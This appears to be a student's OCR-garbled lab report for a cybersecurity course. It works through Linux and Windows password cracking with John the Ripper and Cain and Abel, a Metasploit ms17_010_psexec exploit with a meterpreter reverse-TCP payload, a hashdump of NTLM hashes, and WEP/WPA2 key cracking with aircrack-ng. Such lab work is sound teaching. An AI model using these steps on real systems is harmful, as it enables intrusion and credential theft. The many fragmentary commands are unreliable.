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Task A: Linux Password Cracking (25 points)
1. 5 points. Create two groups, one is cyse301, and the other is your ODU Midas ID (for example,
svatsa). Then display the corresponding group IDs.

~

cyse30l

~

atabo@03

1 L /etc/group
xrdp:x:138:
snort:x:139:
syslog:x:140:
splunk:x:1001:
cyse301:x:1002:
atabo®03:x:1003:

2. 5 points. Create and assign three users to each group. Display related UID and GID information of
each user.

g cyse301
 cyse301
7 cyse301
' atabo@3
> atabo@@3
-g atabo0@3

(s[5 /etc/passwd grep home
kali:x:1000:1000:,,,:/ /kali:/usr/bin/zsh
Userl:x:1002:1002 :: /Userl:/bin/sh
User2:x:1003:1002 :: /User2:/bin/sh
User3:x:1004:1002 :: /User3:/bin/sh
User4:x:1005:1003 :: /User4: /bin/sh
User5:x:1006:1003 :: /User5:/bin/sh
User6:x:1007:1003 :: /User6:/bin/sh

fetc/passwd

fhome /




3. 5 points. Choose Three new passwords, from easy to hard, and assign them to the users you
created. You need to show me the password you selected in your report, and DO NOT use your
real-world passwords.

Easy Password: Kali2025
Medium Password: Kal!l'nux$2025
Hard: K@1!1!nux_5SKx

~

Sudo p Userl
New password:
Retype new password:

passwd: password updated successfully

~

User2
New password:
Retype new password:
passwd: password updated successfully

New password:
Retype new password:
passwd: password updated successfully

User4
New password:
Retype new password:
passwd: password updated successfully

User5
New password:
Retype new password:
passwd: password updated successfully

User6
New password:
Retype new password:
passwd: password updated successfully

2:99999:




4.5 points. Export all Three users’ password hashes into a file named “YourMIDAS-HASH” (for
example, svatsa-HASH). Then launch a dictionary attack to crack the passwords. You MUST crack
at least one password in order to complete this assignment.

-~

& fetc/shadow atabo@B@3-HASH. txt

o~

/usr/share/wordlists/rockyou.txt .

~

d 1 password hash (HMAC-SHA256 [password is key,
Will run 2 OpenMP threads
Press ' bort, almost any other key for
g/s 4912

Task B: Windows Password Cracking (25 points)

Log on to Windows 7 VM and create a list of 3 users with different passwords (OR you may create
users using net users \add command as you did in lab-4-task-c). Then you need to establish a reverse
shell connection with the admin privilege to the target Windows 7 VM. Now, complete the following
tasks:

B Administrator; C:\Windows\System32\cmd.exe EI@

Microsoft Windows [Uersion 6.1.768081
Copyright (c) B? Microsoft Corporation. All rights reserved.

m| »

stem32>net user erl PasswBrdl /add
completed successfully.

C:\Windows\system32>net user userl PasswBrd2 ~add
The command completed successfully.

IC:\Windous\system32>net use erd Passuwdrd3d -sadd
The command completed succe v.

C:\Windous\system32>_

) > loi ndows/smb/ms17_010_psexec
d configured, defaulting to window terpr r /T e_tcp
) > set R
.168.10.9
smbuSER USER1
command: SET
( t SMBUser userl

t SMEPass Passw@rdl
wardl
t LHOST 192.168.10.13
8.10.13
t PAYLOAD windows/meterpreter/reverse_tcp

PAYLO =3 ndows/meterpreter/reverse
msf6 exploit( ) > show options




\ command or non-serv

shell.

2. 10 points. Save the password hashes into a file named “your_midas.WinHASH” in Kali Linux
(you need to replace the “your_midas” with your university MIDAS ID). Then run John the ripper
for 10 minutes to crack the windows users’ passwords (You MUST crack at least one password in
order to complete this assignment.).

hashdump

Window 7:1

me rpr




~

/root/atabo003.WinHASH

userl:1003:aad3b435b51404eeaad3b435b51404ee:5858d47a41e40b40F294b3100beab11f:

user2:1004:aad3b435b51404eeaad3b435b51404ee:1791df33b45987df23e4febc57eabde7:

user3:1005:aad3b435b51404eeaad3b435b51404ee:8a499ecf99c5e069d0458e283a4b6e89:

input encoding:

UTF-8

«t froot/atabo003.WinHASH

word hashes with no different salts (NT [MD4 512/

no OpenMP support for this hash ty
C to abort, almost any oth
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3. 10 points. Launch/open the password cracking tool, Cain and Abel in Windows 7 VM, via a
remote desktop window. Then, implement BOTH brute force and dictionary attacks to crack the
passwords for Windows7 users. (You MUST crack at least one password in order to complete

this assignment).
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Task C: 20 points Follow the steps in the lab manual, and

practice cracking practice for WEP and WPA/WPA2 protected
traffic.

1. Decrypt the lab5wep-demo. cap file (5 points) and perform a detailed traffic analysis (5 points)

Aircrack-ng 1.7

[00:00:02] Tested 231 keys (got 19772 IVs)

byte(vote)
) 7A(27136) 21(24832) 27(2 3 76 6) 05(24320) 38(24064)
71(23808) 5 5 ) 2 296) 8 2 99(23040)

D3(24064)
2A(23808) A9 0(23552) 3F(23296) 62 2 ) 0 3E(23040) BA
2E(25344) C4 ) 6 88 ) 77(24832) 9C(24576) 6D(24064) 49(23552)
KEY FOUND! [ F2:C7:BB:35:
Decrypted correctly: 100%

~/Desktop/LabResourcesSpring/Lab Resources/Module 5

N

Decrypt the lab5wpa2-demo. cap file (5 points) and perform a detailed traffic analysis (5 points)
Aircrack-ng 1.7

18 hours, 58 minutes, 21 second

KEY FOUND! [ p:

Transient Key

EAPOL HMAC

Task D: 30 points

Each student will be assigned a new WPA?2 traffic file for analysis. You need to refer to the table below and find the
file assigned to you based on the LAST digit of the MD5 of your MIDAS ID. For example, the last digit of the hash for
svatsa is 8. Thus, | should pick up the file "WPA2-P3-01.cap."

MD?5 of svatsa is fe2943715a4e07c¢670b242559f5974f8

12542559 F5974F8 -

You can find an online MD5 hash generator or the following command to get the hash of a text string,



e The above files are zipped in a folder named "Lab Resources (2023 Spring)." You can locate the zipped folder in
your VMshare in any Kali Linux VM. Then, extract the zipped file and find the assigned WPA file under the sub-
folder "WPA traffic."

e Please note that - it is recommended to copy the zip file to your local folder before extracting the whole file in
the VMshare folder.

Last digit of your MD5  Fllename

0-3 WPA2-P1-01.cap
4~5 WPA2-P2-01.cap
6~8 WPA2-P3-01.cap
9-B WPAZ2-P4-01 cap

C~F WPA2-P5-01.cap

Then complete the following steps:

1. Implement a dictionary attack and decrypt the traffic using the correct file based on your last
character of md5 hash for your midas name. - 20 points

Aircrack-ng 1.7
[00:00:01] 1 eys tested (1971.12 k/s)
Time left: 1 hour, 27 minutes, 6 seconds
KEY FOUND! [ messenger ]

Master Key : 16 3E A6 91 3C 93 35 91 D1 8B

FB 9D 22 B6 72 FF 9D 71 1A
Transient y : 18 A2 CC 4A 5F C6 50 74

B6 D2 7C EB 31 E3 7F

1A 45 6 ED 20 DO E7 CO 2

00 00 00 00 00 00 00

EAPOL HMAC 2 E7 D1 96 98 OF 5C FB

~/Desktop/LabResourcesSpring/Lab Resources/Module 5

2. Decrypt the encrypted traffic and write a detailed summary to describe what you have explored from
this encrypted traffic file (using wireshark). -10 points



